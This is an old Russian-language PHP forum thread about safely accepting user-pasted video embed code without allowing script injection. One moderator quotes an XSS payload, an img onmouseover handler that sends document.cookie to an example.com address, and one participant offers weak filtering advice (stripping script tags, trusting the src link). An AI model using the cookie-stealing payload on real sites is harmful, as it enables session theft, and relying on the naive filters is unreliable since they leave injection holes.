![]() |
|
Модераторы: skyboy, MoLeX, Aliance, ksnk |
![]()
|
|
| 31416 |
|
|||
|
Шустрый ![]() Профиль Группа: Участник Сообщений: 126 Регистрация: 3.5.2006 Репутация: нет Всего: нет |
Вообщем сделал на сайте взможность вставки видео таким образом - юзеры вставляют в поле текста на подобии такого -
но в этом поле можно написать что угодно вставить как-нить js код или ссылки и прочее.. кто как делает валидацию таких фрагментов (в данном случае только на наличие видео кода html), как есть готовые решения может быть? Это сообщение отредактировал(а) 31416 - 6.12.2008, 03:16 --------------------
Мой блог |
|||
|
||||
| skyboy |
|
|||
|
неОпытный ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 9820 Регистрация: 18.5.2006 Где: Днепропетровск Репутация: 1 Всего: 260 |
по-нормальному, это:
- поле для ввода значения ширины - поле для ввода значения высоты - поле для ввода УРЛ видео Валидируется на раз(ненулевые целые числа и корректный URI), после чего HTML формируется твоим кодом на стороне сервера. |
|||
|
||||
| 31416 |
|
|||
|
Шустрый ![]() Профиль Группа: Участник Сообщений: 126 Регистрация: 3.5.2006 Репутация: нет Всего: нет |
вопрос только как быть с разными сайтами, для всех популярных можно держать шаблоны, но есть то и другие с которых могут захотеть вставить
--------------------
Мой блог |
|||
|
||||
| ashenemy |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 155 Регистрация: 7.11.2006 Репутация: нет Всего: нет |
А мне кажется можно делать легче, фильтруй яваскрипт, то бишь, ищешь такую фразу как <script>....</script> и удаляешь его.
можно сделать еще круче, регулярка вида #<object>(.*)</object># - пихаешь в переменную, остальное стираешь, а показываешь переменную где хранится результат регулярки. |
|||
|
||||
| teroni |
|
|||
|
Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 381 Регистрация: 15.5.2007 Где: Днепропетровск Репутация: 1 Всего: 22 |
Или проще:
Хотя и в эти тэги юзер может прислать какую-нить стрёмную флэшку, я бы включил премодерацию на всякий случай. Или выдирал бы из кода адрес флешки. Если это http://www.youtube.com/... или другие известные скрипту видеохостинги - тогда публиковать. Если нет - то слать на премодерацию либо на удаление. Это сообщение отредактировал(а) teroni - 15.12.2008, 03:00 |
|||
|
||||
| ashenemy |
|
|||
|
Бывалый ![]() Профиль Группа: Участник Сообщений: 155 Регистрация: 7.11.2006 Репутация: нет Всего: нет |
Кстати да можно просто регуляркоой выдирать
<embed src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"> из этого, src="http://www.youtube.com/v/uGOCG-r-HB8&hl=ru&fs=1&color1=0x234900&color2=0x4e9e00" и генерить свой код, удобно, практично, и подойдет ко всем видеохистингам а на тему ссылки, то впихнуть на сколько я знаю туда практически ничего нельзя, так как пробывал ссылаться на яваскрипт файл, и он вывел "как есть", так что вродь с безопастностью траблов не должно быть |
|||
|
||||
| MuToGeN |
|
|||
![]() Лесник ![]() ![]() ![]() ![]() Профиль Группа: Модератор Сообщений: 4379 Регистрация: 15.8.2002 Где: Москва Репутация: 4 Всего: 32 |
Судя по всем этим вебам-два-ноль, когда-нибудь все остановится на такой схеме: человек со стороны, желая опубликовать видео с ютуба / очередную flash-игру на 5 минут / что-то еще, будет должен вбить адрес, по которому можно будет слить код для публикации этой штуки. С надеждой/уверенностью в том, что хостер уж точно не подсунет каких-то XSS-штук. Т.е. появится какой-то псевдостандарт, как протоколы синдикации (RSS, ATOM etc) или OpenID, к примеру.
Но это снова офтоп. По сабжу - гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter.
<img src="blablabla" alt="" onmouseover="location.href='http://example.com/?stolenCookie='+document.cookie;alert('Ищите здесь теги script и дальше');"/> И подобных вариантов очень много -------------------- Three pings for the token rings, Five pings for the UNIX machines, Hundred pings for the broken links, One special ping to check them all Through Simple Network Management Protocol! |
|||
|
||||
| youri |
|
|||
![]() Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 740 Регистрация: 17.4.2004 Репутация: нет Всего: 16 |
мне кажется кажется первое предложение было лучшим (3 поля: урл, ширина, высота), хотя можно в общем-то добавить поле, куда будет можно вставить код. Но из этого кода будут выдираться те самые 3 поля. Не думаю, что эти плееры особенно чем-то отличаются, кроме этих 3х параметров.
хотя может я чего-то не знаю ("гляньте, как устроен отстрел XSS в том же самом не раз упомянутом в этом разделе Code Igniter") |
|||
|
||||
| Sannis |
|
|||
![]() Опытный ![]() ![]() Профиль Группа: Участник Сообщений: 375 Регистрация: 14.8.2007 Где: Москва Репутация: нет Всего: 13 |
К слову о flash и javascript: наличие параметра allowscriptaccess='never' в теге embed пойдёт на пользу.
-------------------- |
|||
|
||||
![]()
|
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | PHP: Для профи | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |